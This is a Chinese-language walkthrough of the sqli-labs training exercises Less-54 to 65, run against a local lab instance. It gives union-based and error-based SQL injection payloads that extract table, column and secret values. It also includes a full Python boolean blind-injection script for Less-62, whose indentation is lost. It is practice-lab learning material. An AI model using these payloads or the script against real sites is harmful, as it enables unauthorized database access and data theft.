终于到了最后一部分，这些关跟之前不同的是这里是限制次数的。
less-54:
这题比较好玩，10次之内爆出数据。先试试是什么类型：
?id=1' and '1 ==>>正常
?id=1' and '0 ==>>不正常
所以是单引号注入。union一波试试：
?id=1' union select 1,2,'3
果然回显了。下面就从information_schema中爆数据了:
爆表名
?id=100' union select 1,(select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema='challenges'),'3
爆字段名
127.0.0.1:85/sqli-labs-master/Less-54/index.php?id=100' union select 1,(select group_concat(column_name separator 0x7e) from information_schema.columns where table_name='yrby6u7nvw'),'3
爆数据
127.0.0.1:85/sqli-labs-master/Less-54/index.php?id=100' union select 1,(select secret_2BUB from challenges.yrby6u7nvw),'3
输入密钥后，成功：
less-55:
这题搞了好久，没有回显，只能盲注。后来实在没办法(我太菜了π_π)，看了下源码，原来id被包起来了：
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
所以payload应该为：
?id=100) union select 1,2,3--%20
剩下的跟less-54差不多了。
less-56:
先fuzz是什么注入类型：
?id=1 ==>> 正常
?id=1 and 0 ==>> 正常
?id=1' and '0 ==>> 无数据
由此判断出是单引号注入，尝试union：
?id=100' union select 1,2,'3
无返回结果，有可能和less-55一样，参数被括号包裹了，尝试一下：
?id=100') union (select 1,2,'3
下面操作就跟之前差不多了。
less-57:
跟上面几题一样，只不过是双引号注入，payload:
?id=100" union select 1,2,"3
less-58:
这题跟前面几个都不一样，想使用union，可是出来的数据都是一样的。后来看了一下源码：
可以看出，username和password是固定的数组，所以我们注入的数据是union不出来的。总不能用时间盲注吧，毕竟这题只有五次机会。实在没辙，看了眼wp，原来是用的报错注入，我好笨。。看一眼payload:
爆表名
?id=1'-extractvalue(1,concat(0x7e,(select group_concat(table_name separator 0x7f) from information_schema.tables where table_schema='challenges'),0x7e))-'1
爆字段
?id=1'-extractvalue(1,concat(0x7e,(select group_concat(column_name separator 0x7f) from information_schema.columns where table_name='kunnw7szqe'),0x7e))-'1
爆数据
?id=1'-extractvalue(1,concat(0x7e,(select group_concat(secret_POYF separator 0x7d) from challenges.kunnw7szqe),0x7e))-'1
成功：
less-59:
跟上一题一样，只不过是数值型注入，爆表名payload:
?id=100 union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name separator 0x7d) from information_schema.tables where table_schema='challenges'),0x7e))),3--%20
剩下的跟前面差不多了~
less-60:
先fuzz:
?id=1 and 0 ==>> 正常
?id=1' and '0 ==>> 正常
?id=1" and "0 ==>> 不正常
所以是双引号注入。尝试:
?id=1" union select 1,2,"3
返回SQL语法错误，根据错误信息，发现id是被括号包着的，所以稍微改一下：
?id=1") union select 1,2,3--%20
还是返回跟之前一样的数据，估计后台又是用数据来提取信息的，所以尝试报错：
?id=100") union select 1,(extractvalue(1,concat(0x7e,database(),0x7e))),3--%20
剩下的操作就跟之前差不多了。
less-61:
同样，先fuzz是什么类型。结果是单引号注入。输入一个单引号之后返回SQL语法错误，根据返回信息，发现id被两个括号包着了。用报错注入，payload:
?id=100')) union select 1,(extractvalue(1,concat(0x7e,database(),0x7e))),3--%20
less-62:
fuzz之后发现是单引号注入，尝试：
?id=100' union select 1,2,3--%20
没有返回数据，估计是后台出错了，加个括号：
?id=100') union select 1,2,3--%20
这题可以尝试130次，估计是要用盲注了。试了试报错注入，果然不行，看来只能写脚本了。payload:
id=1' and if((条件),1,0)-'1
已知表名长度：10,字段名长度：4,数据长度:24。用二分法的话，每猜一个字符大概要6次，而一共有38个字符，所以大概要猜228次。离130还有很大距离。。
直接附个脚本：
#!/usr/bin/env python3
import requests, math
#常量定义
words = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
words_len = len(words)
url = 'http://127.0.0.1:85/sqli-labs-master/Less-62/index.php'
#创建字符表，以ascii排序
#基于时间的盲注
#爆表名
table_name_payload1 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))>{}),1,0))-\''
table_name_payload2 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))<{}),1,0))-\''
table_name_payload3 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))={}),1,0))-\''
#爆字段名
column_name_payload1 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))>{}),1,0))-\''
column_name_payload2 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))<{}),1,0))-\''
column_name_payload3 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))={}),1,0))-\''
#爆数据
data_payload1 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))>{}),1,0))-\''
data_payload2 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))<{}),1,0))-\''
data_payload3 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))={}),1,0))-\''
def find_tableName():
#表名
table_name = ''
print("\n[+}retrieving table name...")
index = 1
for i in range(1, 11):
# if(len(table_name) == 10):
# break
min = 0
max = words_len-1
cur = math.floor((max+min)/2)
table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))}
# print(table_name_payload)
# print(words[cur])
# exit()
while(1):
resp = requests.get(url, params=table_name_payload)
#print("No.{}: {}".format(index, words[cur]))
index += 1
# print("\n"+resp.content.decode('utf-8'))
# exit()
if("Login name" in resp.content.decode('utf-8')):
#向右取
#print("right {} {} {}".format(min, cur, max))
min = cur
if(cur+1 == max):
#成功
table_name += words[max]
#print("\n####got one! {}\n".format(table_name))
print('{}'.format(table_name))
break
cur = math.floor((max+min)/2)
table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))}
continue
elif("Login name" not in resp.content.decode('utf-8')):
#向左取
#print("left {} {} {}".format(min, cur, max))
if(cur+1 == max):
#成功
table_name_payload = {'id':table_name_payload3.format(i, ord(words[cur]))}
resp = requests.get(url, params=table_name_payload)
#print("No.{}: {}".format(index, words[cur]))
if("Login name" in resp.content.decode('utf-8')):
table_name += words[cur]
else:
table_name += words[min]
#print("\n####got one! {}\n".format(table_name))
print('{}'.format(table_name))
break
max = cur
cur = math.floor((max+min)/2)
table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))}
print('[+]table_name: {}\n[+]{} times'.format(table_name, index))
return table_name
def find_columnName(table_name):
#字段名
column_name = 'secret_'
print("\n[+}retrieving column name...")
is_done = False
index = 1
for i in range(8, 12):
min = 0
max = words_len-1
cur = math.floor((max+min)/2)
column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))}
while(1):
resp = requests.get(url, params=column_name_payload)
#print(column_name_payload)
index += 1
if("Login name" in resp.content.decode('utf-8')):
#向右取
#print("right {} {} {}".format(min, cur, max))
min = cur
if(cur+1 == max):
#成功
column_name += words[max]
#print("\n####got one! {}\n".format(column_name))
print('{}'.format(column_name))
break
cur = math.floor((max+min)/2)
column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))}
continue
elif("Login name" not in resp.content.decode('utf-8')):
#向左取
#print("left {} {} {}".format(min, cur, max))
if(cur+1 == max):
#成功
column_name_payload = {'id':column_name_payload3.format(table_name, i, ord(words[cur]))}
resp = requests.get(url, params=column_name_payload)
#print(column_name_payload)
index += 1
#print("No.{}: {}".format(index, words[cur]))
if("Login name" in resp.content.decode('utf-8')):
column_name += words[cur]
else:
column_name += words[min]
#print("\n####got one! {}\n".format(column_name))
print('{}'.format(column_name))
break
max = cur
cur = math.floor((max+min)/2)
column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))}
print('[+]column_name: {}\n[+]{} times'.format(column_name, index))
return column_name
def retrieve_data(table_name, column_name):
#爆数据
data = ''
print("\n[+}retrieving data...")
index = 1
for i in range(1, 25):
min = 0
max = words_len-1
cur = math.floor((max+min)/2)
data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))}
while(1):
resp = requests.get(url, params=data_payload)
#print(data_payload)
index += 1
if("Login name" in resp.content.decode('utf-8')):
#向右取
#print("right {} {} {}".format(min, cur, max))
if(cur+1 == max):
#成功
data += words[max]
#print("\n####got one! {}\n".format(data))
print('{}'.format(data))
break
min = cur
cur = math.floor((max+min)/2)
data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))}
continue
elif("Login name" not in resp.content.decode('utf-8')):
#向左取
#print("left {} {} {}".format(min, cur, max))
if(cur+1 == max):
#成功
data_payload = {'id':data_payload3.format(column_name, table_name, i, ord(words[cur]))}
resp = requests.get(url, params=data_payload)
#print(data_payload)
index += 1
#print("No.{}: {}".format(index, words[cur]))
if("Login name" in resp.content.decode('utf-8')):
data += words[cur]
else:
data += words[min]
#print("\n####got one! {}\n".format(data))
print('{}'.format(data))
break
max = cur
cur = math.floor((max+min)/2)
data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))}
print('[+]data: {}\n[+]{} times'.format(data, index))
return data
if __name__ == '__main__':
table_name = find_tableName()
column_name = find_columnName(table_name)
data = retrieve_data(table_name, column_name)
运行截图：
less-63:
跟上一题没什么区别，只是id没有被包在括号里，脚本没有区别。
less-64:
这题是数字型注入，把上面payload中的引号去掉就好了。
less-65:
双引号注入，把less-62中的单引号换成双引号就ok了。
总结：
终于写完了，中间走走停停做了好几个星期。不过这一套下来，的确学到了一些东西。整体难度不算难，主要就是巩固基础，形成自己的一套注入方法。从fuzz注入类型，到写payload，再到写脚本，都变得更加得心应手，所以收获还是蛮大的。